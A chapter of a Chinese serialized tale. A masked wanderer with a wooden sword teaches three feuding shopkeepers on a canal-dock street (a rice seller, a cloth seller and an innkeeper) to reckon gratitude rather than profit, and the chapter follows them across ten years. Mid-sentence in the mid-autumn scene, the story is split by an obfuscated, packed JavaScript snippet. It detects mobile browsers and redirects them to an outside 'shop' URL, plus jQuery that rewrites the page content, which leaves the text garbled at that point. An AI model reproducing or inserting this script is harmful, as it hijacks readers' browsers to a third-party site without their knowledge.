91.万亿谳
作品:《无涯案海录》 楔子·三铺争利
京城外有处通州码头,乃南北漕运要津。每日里千帆竞过,万担装卸,端的是一等一热闹去处。码头旁有条长街,唤作“流水街”,街上有三家铺子鼎足而立:东头是“陈记米铺”,西头是“刘记布庄”,中间是“赵家客栈”。
陈家掌柜陈满仓,四十有五,卖米三代。他有一句口头禅:“粒米成箩,滴水成河。”铺子里从早到晚响着算盘声,进一斗米要算,出一升米也要算。儿子陈小米,十三岁,在柜台后学打算盘,手指头磨出茧子。
刘家掌柜刘尺布,四十有三,卖布三代。他有一句座右铭:“寸布成匹,分毫成丈。”铺子里挂满各色布匹,每匹布都量了又量,算了又算。女儿刘寸锦,十四岁,在柜台前学量布,眼力比尺还准。
赵家掌柜赵满堂,四十有八,开客栈三代。他有一句生意经:“人来人往,皆为利忙。”客栈里南来北往的客商,他都要算计一番,住店几钱,饭食几钱,马料几钱。儿子赵百客,十五岁,在柜台后学记账,账本堆成山。
这三家,是流水街上最会“算计”的人家。可算来算去,三家却算成了仇人。
陈满仓说刘家布庄的幌子挡了他家铺子的光,刘尺布说赵家客栈的泔水泼到了他家门前,赵满堂说陈家的米车压坏了他家门前的石板。今日你少我一文,明日我欠你一钱,三年下来,账算不清,怨结成了疙瘩。
这是天顺五年的秋天,码头上漕船如云,三家铺子的算盘声噼啪作响,可三家的掌柜,在街上碰面,连头都不点。
一、 陈记米铺的“算盘珠”
这日,陈满仓正在铺子里教儿子打算盘。铺子临街,门脸不大,可堆的米袋高耸如山。陈满仓手里一把紫檀算盘,珠子油亮,拨得飞快。
“看好了!一斗米,进价一百二十文,卖价一百五十文,一斗赚三十文。十斗赚三百文,百斗赚三贯,千斗赚三十贯!”陈满仓眼睛发亮,“小米,记住了,生意就是积少成多,一而十,十而百,百而千,千而万!”
陈小米苦着脸,手指笨拙地拨着算珠。
这时,铺子里进来一人。来人戴着一顶苇编斗笠,斗笠边缘已磨出毛边,用麻线缝了几针。身上是件半旧的白粗布短褂,洗得发白,袖口用布条束着。腰间用草绳系一柄木剑,剑身光滑,像是常被人摩挲。脸上蒙着一方粗麻布,布是灰扑扑的,沾着些尘土。
“掌柜的,买米。”声音平平的,听不出年纪。
陈满仓抬眼一瞥,见是个行脚的,便懒懒道:“要多少?”
“一合。”那人说。
“一合?”陈满仓皱眉,“一合米,够谁吃?”
“够一人,吃一顿。”那人从怀里掏出一文钱,放在柜台上。
陈满仓嗤笑:“一合米,不值得开斗。去去去,别耽误我做生意。”
那人却不走,看着陈小米打算盘,忽然道:“小兄弟,一合米,是多少粒?”
陈小米一愣,抬头看爹。
陈满仓不耐烦:“谁有闲工夫数那个!”
“我数过。”那人说,“一合米,大约一千八百粒。一升米,一万八千粒。一斗米,十八万粒。一石米,一百八十万粒。”
陈满仓愣住了。
“掌柜的,你卖米多年,可曾数过一合米有多少粒?”那人问。
“……没数过。”陈满仓嘟囔。
“你没数过,可种米的人数过。”那人缓缓道,“春天撒种,一粒种子下地。夏天除草,一滴汗水落地。秋天收割,一株稻穗低头。冬天碾米,一粒米脱壳。这一合米,是一千八百个春天,一千八百个夏天,一千八百个秋天,一千八百个冬天。”
陈满仓张了张嘴,说不出话。
“一而十,十而百。百而千,千而万。”那人念出这十二个字,“你知道这是什么意思?”
“自然是积少成多!”陈满仓道。
“错了。”那人摇头,“这是说,万物皆从一来。一粒米,是根本。十粒米,是一捧。百粒米,是一碗。千粒米,是一升。万粒米,是一斗。可若没有那一粒米,哪来的十、百、千、万?”
他走到米袋前,伸手抓了一把米,米粒从指缝间簌簌落下。
“你只算一斗赚三十文,可算过这一斗米,要农人多少汗水?要老天多少风雨?要碾子多少转动?要车船多少颠簸?”
陈满仓脸上红一阵白一阵。
“你教儿子‘一而十,十而百’,是教他算计。可算计的是什么?是利。你忘了,这一粒米里,有天地恩,有农人苦,有舟车劳,有万人力。”那人声音不高,却字字沉重,“你只算自己赚多少,可算过这米养活了多少人?可算过这米救了多少命?可算过这米,本是养人之物,不是谋利之器?”
陈小米手里的算盘,“啪”地掉在地上。
“小兄弟,”那人转向陈小米,“你爹教你算利,我教你算恩。一合米,养活一人一顿。一升米,养活一人一日。一斗米,养活一家三日。一石米,养活一村十日。这恩,你算得清么?”
陈小米愣愣地摇头。
那人从怀里掏出一本薄册子,封面上写着《米粟恩》。递给陈小米。
“这个给你。里边有算米之恩的题,比如:一粒米,从种子到饭碗,要经过多少人之手?一斗米,能救几条人命?一石米,能活多少百姓?”
陈小米接过,翻开一看,第一页就画着一粒米,米上写着:“天地生我,农人育我,舟车载我,掌柜卖我,妇人煮我,孩童食我。我是一粒米,养人一口命。”
他看得痴了。
“掌柜的,”那人转向陈满仓,“你的算盘打得精,可莫要算尽了毫厘,算丢了良心。一而十,十而百,百而千,千而万——这‘一’,是根本。根本是什么?是天地良心,是养人之德。”
说罢,他弯腰捡起那文钱,放在米袋上:“这一文钱,我买你一合米。你若不卖,我自己数。”
陈满仓呆立良久,忽然抓起升子,舀了满满一合米,倒在粗纸里包好,双手递给那人:“先生……这米,送您。”
那人接过,点点头,走出铺子。走到门口,回头:“掌柜的,明日此时,我再来。你若有心,数一合米有多少粒。数明白了,我再与你说话。”
陈满仓看着那人的背影消失在街角,又看看儿子手里的册子,忽然蹲下身,抓了一把米,一粒一粒数起来。
“一、二、三、四……”
二、 刘记布庄的“寸光眼”
刘尺布这日正在铺子里教女儿量布。铺子里挂满各色布匹,青的、蓝的、花的,在秋阳下泛着柔和的光。刘尺布手里一把黄杨木尺,尺上刻着分、寸、尺,磨得发亮。
“寸锦,看好了!一尺布,十寸。一寸布,十分。分毫不能差!”刘尺布量着一匹蓝布,“客人要一丈,你量九尺九寸九分,人家回头骂你缺德。量一丈零一分,咱家吃亏。就得一丈,不多不少!”
刘寸锦点头,手里软尺拉得笔直。
这时,门帘一挑,进来那人。还是苇编斗笠,白粗布短褂,腰间木剑。脸上蒙着麻布,布上沾着些水汽,像是从河边来。
“掌柜的,扯布。”声音温和。
刘尺布抬眼,见是昨日在陈家米铺见过的那人,心里一动,面上不露:“客官要什么布?扯多少?”
“粗麻布,三尺三寸三分。”那人说。
刘尺布皱眉:“三尺三寸三分?这尺寸蹊跷。”
“不蹊跷。”那人说,“做一件短褂,衣长二尺,袖长一尺,领口三分,下摆三分,接缝三分,正好三尺三寸三分。”
刘尺布愣了愣,这算法,比他这卖布三十年的还精细。
“客官是裁缝?”
“不是。”那人说,“只是常走路,常补衣,知道尺寸要紧。”
刘尺布不再多问,量布,裁剪,手脚利落。剪好了,用草纸包了,递过去。
那人接过,却不走,看着刘寸锦量布,忽然道:“姑娘,一尺布,是多少根线?”
刘寸锦一愣,看向爹。
刘尺布笑了:“客官说笑了,一尺布,少说万根线,谁数得清?”
“我数过。”那人说,“一尺粗布,横纬三千六百根,竖经四千八百根。一匹布,长四丈,便是横纬十四万四千根,竖经十九万两千根。”
刘尺布张大了嘴。
“掌柜的,你卖布多年,可曾数过一根线要多长?”那人问。
“……没数过。”
“你没数过,可织布的人数过。”那人缓缓道,“春天种棉,一粒棉籽下地。夏天捉虫,一滴汗水落地。秋天摘棉,一朵棉花入手。冬天纺线,一根线出车。春天织布,一根线成匹。这一尺布,是三千六百个春天,三千六百个夏天,三千六百个秋天,三千六百个冬天。”
刘尺布手里的尺子,“当啷”掉在柜台上。
“一而十,十而百。百而千,千而万。”那人念道,“你知道这是什么意思?”
“自然是积线成布!”刘尺布道。
“错了。”那人摇头,“这是说,万物皆从一根线来。一根线,是根本。十根线,是一缕。百根线,是一绺。千根线,是一束。万根线,是一尺。可若没有那一根线,哪来的十、百、千、万?”
他走到布匹前,伸手抚摸一匹青布,布面光滑,纹理细腻。
“你只算一尺卖几文,一匹赚几钱,可算过这一尺布,要农人多少辛劳?要织女多少日夜?要染工多少汗水?要车马多少奔波?”
刘尺布脸上火辣辣的。
“你教女儿‘分毫不能差’,是教她算计。可算计的是什么?是利。你忘了,这一根线里,有天地恩,有农人苦,有织女累,有染工勤。”那人声音平稳,却字字敲心,“你只算自己赚多少,可算过这布暖了多少人?可算过这布遮了多少羞?可算过这布,本是暖人之物,不是谋利之器?”
刘寸锦手里的软尺,松了。
“姑娘,”那人转向刘寸锦,“你爹教你量利,我教你量恩。一尺布,可做婴孩一件衣,暖他一个冬。一丈布,可做老人一身袍,遮他一身寒。一匹布,可做一家人四季衣裳,护他们冷暖。这恩,你量得清么?”
刘寸锦愣愣地摇头。
那人从怀里掏出一本薄册子,封面上写着《布帛恩》。递给刘寸锦。
“这个给你。里边有量布之恩的题,比如:一根线,从棉花到布匹,要经过多少人之手?一尺布,能暖几人身?一匹布,能活几家人?”
刘寸锦接过,翻开一看,第一页就画着一根线,线上写着:“天地生我,农人种我,织女纺我,染工染我,掌柜量我,妇人缝我,孩童穿我。我是一根线,暖人一身衣。”
她看得痴了。
“掌柜的,”那人转向刘尺布,“你的尺子量得准,可莫要量尽了分毫,量丢了良心。一而十,十而百,百而千,千而万——这‘一’,是根本。根本是什么?是天地良心,是暖人之德。”
说罢,他从怀里掏出钱,放在柜台上:“这是布钱。三尺三寸三分,分毫不少。”
刘尺布看着那钱,忽然抓起,塞回那人手里:“先生……这布,送您。”
那人笑了:“为何?”
“您让我明白了,布不是用来量的,是用来暖人的。”刘尺布声音有些哑。
那人接过布,点点头,走出铺子。走到门口,回头:“掌柜的,明日此时,我再来。你若有心,数一尺布有多少根线。数明白了,我再与你说话。”
刘尺布看着那人的背影,又看看女儿手里的册子,忽然扯下一尺布,在灯下一根一根数起来。
“一、二、三、四……”
三、 赵家客栈的“算盘账”
赵满堂这日正在客栈柜台后算账。客栈两层楼,二十间房,日日客满。赵满堂手里一把铁算盘,珠子黑沉,拨起来声音清脆。账本堆了半人高,他一手翻账本,一手拨算盘,嘴里念念有词。
“天字三号房,住三日,房钱一百五十文。饭钱八十文,马料钱三十文,热水钱十文,共计二百七十文。抹去零头,收二百七十文,一文不能少!”
儿子赵百客在旁记录,笔下如飞。
这时,门口进来那人。还是苇编斗笠,白粗布短褂,腰间木剑。脸上蒙着麻布,只露出一双眼睛,清澈得很。
“掌柜的,住店。”声音平和。
赵满堂抬眼,见是这两日在陈记、刘记见过的那人,心里咯噔一下,面上堆笑:“客官要上房还是下房?”
“下房即可,住一晚。”那人说。
“好嘞!下房一晚二十文,饭食另算。”赵满堂拨着算盘,“客官要热水么?要马料么?要……”
“只要一床一被,一碗素面。”那人打断他。
赵满堂愣了愣,拨算盘的手停了:“就这些?”
“就这些。”
赵满堂记了账,收了钱,让伙计带那人去房间。那人却不动,看着赵百客记账,忽然道:“小兄弟,一间房,住一晚,要费多少柴?”
赵百客一愣,抬头看爹。
赵满堂皱眉:“客官问这个作甚?”
“我算算。”那人说,“一间房,一晚要点一盏灯,灯油二钱。要烧一炕,柴火五斤。要供热水一壶,柴火二斤。要扫一次地,用笤帚一把,笤帚是竹子编的,竹子要长三年。要擦一次桌,抹布一块,抹布是粗布做的,布要织三天。要换一次被,被里被面是布,棉花要种一季。要……”
“停停停!”赵满堂听得头大,“客官,您这是住店还是算账?”
“住店,也算账。”那人说,“掌柜的,你算账,只算进多少,出多少,赚多少。可算过这一间房,一晚,要费天地多少物?要费人工多少力?要费人心多少善?”
赵满堂语塞。
“一而十,十而百。百而千,千而万。”那人缓缓念出,“你知道这是什么意思?”
“自然是积少成多,聚沙成塔!”赵满堂道。
“错了。”那人摇头,“这是说,万物皆从一来。一盏灯,是根本。十盏灯,是一室光明。百盏灯,是一街繁华。千盏灯,是一城夜景。万盏灯,是一国昌盛。可若没有那一盏灯,哪来的十、百、千、万?”
他走到窗前,推开窗,码头上灯火通明,千帆林立。
“你只算一间房赚几文,可算过这一间房,要木匠多少工夫?要瓦匠多少汗水?要漆匠多少心血?要伙计多少奔走?要船家多少风浪运来木料?要农夫多少辛劳种出棉花?要织女多少日夜织出被褥?”
赵满堂额上冒汗。
“你教儿子‘一文不能少’,是教他算计。可算计的是什么?是利。你忘了,这一间房里,有工匠巧,有农夫苦,有织女累,有船家险,有伙计勤。”那人声音不高,却字字如锤,“你只算自己赚多少,可算过这间房歇了多少旅人?可算过这碗面暖了多少饥肠?可算过这盏灯照亮了多少夜路?可算过这客栈,本是歇人之所,不是谋利之窟?”
赵百客手里的笔,“啪”地掉了。
“小兄弟,”那人转向赵百客,“你爹教你算利,我教你算恩。一间房,可让旅人安眠一夜,明日有力气赶路。一碗面,可让饿者果腹一餐,明日有精神谋生。一盏灯,可让夜归人看见家门,心里温暖。这恩,你算得清么?”
赵百客愣愣地摇头。
那人从怀里掏出一本薄册子,封面上写着《屋檐恩》。递给赵百客。
“这个给你。里边有算店之恩的题,比如:一间房,从木料到建成,要经过多少人之手?一碗面,从麦子到面条,要经过多少道工夫?一盏灯,从油料到光亮,要经过多少番周折?”
赵百客接过,翻开一看,第一页就画着一间房,房里写着:“木匠造我,瓦匠砌我,漆匠饰我,船家运我,掌柜管我,伙计扫我,旅人住我。我是一间房,安人一夜眠。”
他看得痴了。
“掌柜的,”那人转向赵满堂,“你的算盘打得精,可莫要算尽了毫厘,算丢了良心。一而十,十而百,百而千,千而万——这‘一’,是根本。根本是什么?是天地良心,是待客之德。”
说罢,他从怀里掏出房钱,放在柜台上:“这是房钱,二十文,分文不少。”
赵满堂看着那钱,忽然抓起,塞回那人手里:“先生……这房,送您住。”
“为何?”
“您让我明白了,客栈不是用来算的,是用来歇的。”赵满堂声音有些颤。
那人接过钱,点点头,转身上楼。走到楼梯一半,回头:“掌柜的,明日此时,我再来。你若有心,算算一盏灯要费多少油,一碗面要用多少麦。算明白了,我再与你说话。”
赵满堂看着那人的背影消失在楼梯拐角,又看看儿子手里的册子,忽然翻开账本,拿起算盘,却不是算进账出账,而是算一盏灯、一碗面、一间房的“恩”。
“灯油二钱,可亮三个时辰。三个时辰,可让多少人看见路?一碗面,用面三两,菜二两,油一钱。这些面、菜、油,要多少人劳作……”
四、 流水街的月
八月十五,中秋。码头上漕船停了,船工们都上岸过节。流水街上挂起灯笼,三家的铺子都早早打了烊。
陈满仓搬了张桌子摆在门口,桌上摆着月饼、瓜果。陈小米在旁边数米,一粒一粒,认真得很。
刘尺布也在门口摆了桌子,桌上摆着月饼、茶水。刘寸锦在旁边数线,一根一根,仔细得很。
赵满堂在客栈门口摆了张大桌子,桌上摆着月饼、糕点。赵百客在灯下算账,算的却不是钱,而是一盏灯、一碗面、一间房的“恩”。
三人互相看看,都有些尴尬。三年没说话了,今日中秋,街上就他们三家,不打招呼,说不过去。
还是陈满仓先开口:“刘掌柜,吃月饼。”
刘尺布一愣,忙道:“陈掌柜,喝茶。”
赵满堂也凑过来:“两位掌柜,赏月,赏月。”
三人坐下,你看看我,我看看你,忽然都笑了。这一笑,三年的疙瘩,松了些。
“小米在数什么?”刘尺布问。
“数米。”陈小米抬头,“爹让我数一合米有多少粒。我数了,一千八百零三粒。”
“寸锦在数什么?”陈满仓问。
“数线。”刘寸锦抬头,“爹让我数一尺布有多少根线。我数了,横纬三千六百根,竖经四千八百根。”
“百客在算什么?”刘尺布问。
“算恩。”赵百客抬头,“爹让我算一盏灯、一碗面、一间房的恩。我算了,一盏灯亮三个时辰,可让十个夜归人看见路。一碗面用三两面,可让一个饿汉饱腹。一间房住一晚,可让一个旅人安眠。”
三人都沉默了。
半晌,陈满仓叹道:“那位先生……真是高人。”
“是啊,”刘尺布点头,“他让我明白,布是暖人的,不是量利的。”
“他让我明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133841|195403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白,客栈是歇人的,不是算钱的。”赵满堂也道。
正说着,那人来了。还是苇编斗笠,白粗布短褂,腰间木剑。只是今夜没蒙麻布,脸上戴了个竹面具,在月光下泛着青白的光。手里提着一壶酒,三个酒杯。
“三位掌柜,赏月呢?”他笑。
三人忙起身:“先生!”
那人坐下,自斟一杯酒,举杯邀月:“好月。”
三人也斟了酒,同饮。酒是普通的烧刀子,辣,可喝下去,心里暖。
“先生,”陈满仓问,“那十二个字,到底什么意思?”
“一而十,十而百。百而千,千而万。”那人缓缓念出,“字面意思是,从一到十,从十到百,从百到千,从千到万。可深里意思呢?”
他看着三人:“一是根本。一粒米,一根线,一盏灯,是根本。十是积累。十粒米成一捧,十根线成一缕,十盏灯成一室。百是汇聚。百粒米成一碗,百根线成一尺,百盏灯成一街。千是壮大。千粒米成一升,千根线成一束,千盏灯成一城。万是圆满。万粒米成一斗,万根线成一匹,万盏灯成一国。”
他顿了顿:“可若没有那个‘一’,十、百、千、万,都是空谈。你们的生意,也是一样。没有那一粒米、一根线、一盏灯的良心,赚再多钱,也是空中楼阁。”
三人肃然。
“做生意,要算利,更要算恩。利是眼前的,恩是长远的。利是小的,恩是大的。利是自己的,恩是众人的。”那人看着他们,“你们三家,一卖米,一卖布,一开客栈,本是养人、暖人、歇人的善业。可你们只算利,不算恩,所以三年成仇,邻里不和。今日你们数米、数线、算恩,可明白了?”
三人重重点头。
那人从怀里掏出三个小小的、用米粒粘成的“一”字,一人给了一个。
“这个,给你们。挂在铺子里,记在心里。做生意时看看,莫忘了那个‘一’。”
三人接过,那“一”字是用糯米粘的,洁白晶莹,在月光下泛着温润的光。
“先生,”刘寸锦大着胆子问,“您从哪里来?”
“从来处来。”
“要到哪里去?”赵百客问。
“到去处去。”
“您是做什么的?”陈小米问。
“我是个看‘一’的人。”那人笑了,“看一粒米怎么成万担,看一根线怎么成万匹,看一盏灯怎么成万盏。”
他起身,提起酒壶:“酒喝完了,我该走了。”
“先生还会来么?”三人齐声问。
“等你们的铺子,不只算利,更算恩的时候,我再来。”他说。
他走了,沿着流水街,慢慢地走。月光把他的影子拉得很长,长得像这条街,长得像这码头的岁月。
三人站在月光下,捧着那个“一”字,久久不语。
五、 十年后的“一”字
天顺十五年,中秋。流水街还是那条流水街,码头还是那个码头,只是三家的铺子,都扩大了。
陈记米铺改名叫“陈记米行”,不光卖米,还设了粥棚,每月初一十五施粥。陈小米接了班,人称“小米掌柜”。他卖米,总要多给一撮,说:“这一撮,是谢天谢地谢农人。”他儿子陈粒儿,八岁,每天在铺子里数米,一粒一粒,数得认真。
刘记布庄改名叫“刘记布行”,不光卖布,还收了两个孤女做学徒,教她们织布。刘寸锦接了班,人称“寸锦掌柜”。她卖布,总要多给一寸,说:“这一寸,是谢天谢地谢织女。”她女儿刘线儿,九岁,每天在铺子里数线,一根一根,数得仔细。
赵家客栈改名叫“赵家老店”,不光住店,还设了茶棚,免费给路人喝茶。赵百客接了班,人称“百客掌柜”。他开店,穷书生、赶考人住宿,只收半价,说:“这一半,是结个善缘。”他儿子赵盏儿,十岁,每天在柜台算账,算的不是利,是恩:今日住了几个赶考人,几个是穷书生,几个是落难人。
今年中秋,三家又在门口摆桌子,赏月。三个孩子——陈粒儿、刘线儿、赵盏儿,凑在一起。一个在数米,一个在数线,一个在算恩。
陈满仓看着,对刘尺布、赵满堂笑道:“像不像咱们当年?”
三人相视而笑,举杯。
这时,街那头走来一人。还是苇编斗笠,白粗布短褂,腰间木剑。只是斗笠更破,短褂更旧,木剑的剑柄磨出了深痕。脸上依然戴着竹面具,在月光下泛着温润的光。
三人看见,忙迎上去:“先生!”
那人点头,声音依旧温和:“都老了。”
“先生不老。”陈小米说。
那人笑了,在桌前坐下,自斟一杯酒,举杯邀月:“月还是那个月。”
三人也举杯。
陈粒儿机灵,捧上一碗新米:“先生,吃米,今年的新米,香!”
刘线儿捧上一块新布:“先生,用布,今年的新布,软!”
赵盏儿捧上一盏新灯:“先生,掌灯,今年的新灯,亮!”
那人一一接过,看看米,摸摸布,看看灯,点头:“好,好。”
陈满仓从怀里掏出那个米粒粘的“一”字,已经用琉璃罩子罩着,保存完好:“先生,您看,我一直供着。”
刘尺布、赵满堂也掏出“一”字,三个“一”字,在月光下晶莹剔透。
“供得好。”那人点头,“一字在心,万利不迷。”
“先生,”赵满堂问,“您这十年,去了哪里?”
“走了些地方,见了些人。”那人说,“有只算利不算恩的米商,有只量布不量心的布商,有只算账不算情的店主。看得多了,就想,若是他们都明白‘一’是根本,会不会就不同了?”
三人沉默。
“一而十,十而百。百而千,千而万。”那人缓缓念,“一是良心,十是积累,百是汇聚,千是壮大,万是圆满。良心丢了,积累再多,汇聚再广,壮大再快,也是空中楼阁,说倒就倒。”
他看向三个孩子——陈粒儿在数米,刘线儿在数线,赵盏儿在算恩。数得认真,数得仔细,算得明白。
“他们比你们强。”那人笑了,“数米知恩,数线知暖,算恩知情。这才对。”
三人点头,深以为然。
那人从怀里掏出三个小小的、用米粒、布丝、灯芯粘成的“本”字,送给三个孩子。
“这个,给你们的孩子。等他们长大了,教他们做生意要算利,更要算恩。等他们做到了,我再来收。”
三个孩子恭恭敬敬接过。
“先生,”陈粒儿大着胆子问,“您是谁啊?”
那人摸摸他的头:“我是个喜欢看人数米、数线、算恩的人。”
“那……您还会来看我们数米么?”
“会。”那人站起身,“等你们的孩子的孩子,也这样在月光下数米、数线、算恩的时候,我还会来。”
他走了,沿着流水街,慢慢地走。月光洒在青石板上,泛着银白的光。他的背影在月光里,渐渐远了,融进夜色里。
三人送他到街口,看着他消失。陈满仓忽然说:“你们说,先生教了多少人?”
刘尺布说:“不知道。但我知道,他教的人,都懂了‘一’是根本。”
赵满堂说:“我也懂了。生意不是算计,是积善。善有善报,利自来。”
他们回到桌边,孩子们还在那里。陈粒儿在教刘线儿数米,刘线儿在教赵盏儿数线,赵盏儿在教陈粒儿算恩。月光照在他们身上,明晃晃的。
尾声万亿谣
很多年后,流水街改名叫“积善街”。街口的牌坊上,刻着十二个字:
一而十,十而百。百而千,千而万。
常有外乡人问:“这字谁刻的?”
街里的老人会说:“是三家明白人刻的。他们啊,从前只会算利,后来懂了算恩,生意越做越大,心也越来越宽。”
“怎么算恩?”
“陈记米行卖米多给一撮,刘记布行卖布多给一寸,赵家老店住店少收一半。这一撮、一寸、一半,就是恩。”
中秋时,街上的孩子都会唱一首童谣:
流水街,三铺家,
算盘响彻整条街。
陈记算米只算利,
刘记量布只量钱。
赵家算账不算恩,
三家争利成仇怨。
白衣先生来点化,
一而十,十而百。
百而千,千而万,
三家积善利自来。
有个游方的商贾路过,听了这童谣,去问米行的陈掌柜——当年的陈小米,如今也蓄了须。
“掌柜的,这童谣里的白衣人,可是位财神爷?”
陈小米正在教孙子数米,闻言停下手,望着窗外的月亮。
“是位教人做生意要先做人的先生。”他说。
“做生意……不就是赚钱么?”
“错了。”陈小米说,“做生意,是先做‘人’,再做‘生意’。人做正了,生意自然来。就像这米,你当它是养人的,它就越卖越多;你当它是赚钱的,它就越卖越少。”
商贾似懂非懂。临走时,陈小米送了他一包米,说:“路上吃。记着,这米是天地恩,农人苦,别糟蹋。”
商贾道了谢,背着米走了。月光洒在流水街上,银白一片。他回头,看见陈小米站在米行门口,看着孙子和刘家、赵家的孩子在一起,一个数米,一个数线,一个算恩。

